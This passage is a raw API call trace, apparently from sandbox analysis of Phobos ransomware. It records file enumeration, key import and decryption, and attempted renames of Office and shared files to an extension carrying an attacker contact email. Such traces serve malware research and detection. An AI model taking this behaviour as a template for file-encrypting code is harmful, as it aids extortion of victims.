office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0125.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.613] SetEvent (hEvent=0x528) returned 1 [0125.613] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.614] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=30414) returned 1 [0125.614] CloseHandle (hObject=0x250) returned 1 [0125.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0125.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.614] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.614] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=17924) returned 1 [0125.614] CloseHandle (hObject=0x250) returned 1 [0125.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0125.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.615] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.615] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=31180) returned 1 [0125.615] CloseHandle (hObject=0x250) returned 1 [0125.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0125.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.616] SetEvent (hEvent=0x528) returned 1 [0125.616] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.616] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=12958) returned 1 [0125.616] CloseHandle (hObject=0x250) returned 1 [0125.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0125.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.616] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.617] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2488) returned 1 [0125.617] CloseHandle (hObject=0x250) returned 1 [0125.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0125.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.617] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.617] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2188) returned 1 [0125.617] CloseHandle (hObject=0x250) returned 1 [0125.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0125.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.618] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.618] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=4396) returned 1 [0125.618] CloseHandle (hObject=0x250) returned 1 [0125.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0125.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.949] CryptImportKey (in: hProv=0x7868d8, pbData=0x413fc30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x413fc98 | out: phKey=0x413fc98*=0x81d1e0) returned 1 [0126.949] CryptSetKeyParam (hKey=0x81d1e0, dwParam=0x1, pbData=0x413fc80, dwFlags=0x0) returned 1 [0126.949] CryptDecrypt (in: hKey=0x81d1e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe793d8, pdwDataLen=0x413fc4c | out: pbData=0xe793d8, pdwDataLen=0x413fc4c) returned 1 [0126.949] CryptDestroyKey (hKey=0x81d1e0) returned 1 [0126.949] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0126.949] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x759b6b50 [0126.949] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0126.949] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe793d8 | out: hHeap=0xe70000) returned 1 Thread: id = 179 os_tid = 0xf10 [0124.253] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x44d0050 [0124.254] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x44e0058 [0124.254] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe79468 [0124.254] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x110102) returned 0x47ec020 [0124.256] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x50) returned 0xe79498 [0124.256] CryptImportKey (in: hProv=0x7868d8, pbData=0x427f9e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x427fa50 | out: phKey=0x427fa50*=0x7b5e60) returned 1 [0124.256] CryptSetKeyParam (hKey=0x7b5e60, dwParam=0x1, pbData=0x427fa38, dwFlags=0x0) returned 1 [0124.256] CryptDecrypt (in: hKey=0x7b5e60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79498, pdwDataLen=0x427fa04 | out: pbData=0xe79498, pdwDataLen=0x427fa04) returned 1 [0124.256] CryptDestroyKey (hKey=0x7b5e60) returned 1 [0124.257] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0124.257] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0124.257] Wow64DisableWow64FsRedirection (in: OldValue=0x427fa9c | out: OldValue=0x427fa9c*=0x0) returned 1 [0124.257] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79498 | out: hHeap=0xe70000) returned 1 [0124.257] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.449] ResetEvent (hEvent=0x52c) returned 1 [0124.449] SetEvent (hEvent=0x530) returned 1 [0124.449] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.449] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.449] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.475] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.503] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.506] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.510] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.514] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=48936) returned 1 [0124.514] CloseHandle (hObject=0x584) returned 1 [0124.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0124.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.514] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.515] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=46622) returned 1 [0124.515] CloseHandle (hObject=0x584) returned 1 [0124.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0124.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.517] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.518] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=199994) returned 1 [0124.518] CloseHandle (hObject=0x584) returned 1 [0124.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0124.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.519] ResetEvent (hEvent=0x52c) returned 1 [0124.519] SetEvent (hEvent=0x530) returned 1 [0124.519] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.521] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1600388) returned 1 [0124.521] CloseHandle (hObject=0x584) returned 1 [0124.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0124.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0124.521] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.626] ResetEvent (hEvent=0x52c) returned 1 [0124.626] SetEvent (hEvent=0x530) returned 1 [0124.626] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.626] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1434) returned 1 [0124.627] CloseHandle (hObject=0x594) returned 1 [0124.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0124.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.627] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.629] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.629] ResetEvent (hEvent=0x52c) returned 1 [0124.629] SetEvent (hEvent=0x530) returned 1 [0124.629] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.630] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=903) returned 1 [0124.630] CloseHandle (hObject=0x594) returned 1 [0124.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0124.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.630] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.632] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.632] ResetEvent (hEvent=0x52c) returned 1 [0124.632] SetEvent (hEvent=0x530) returned 1 [0124.632] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 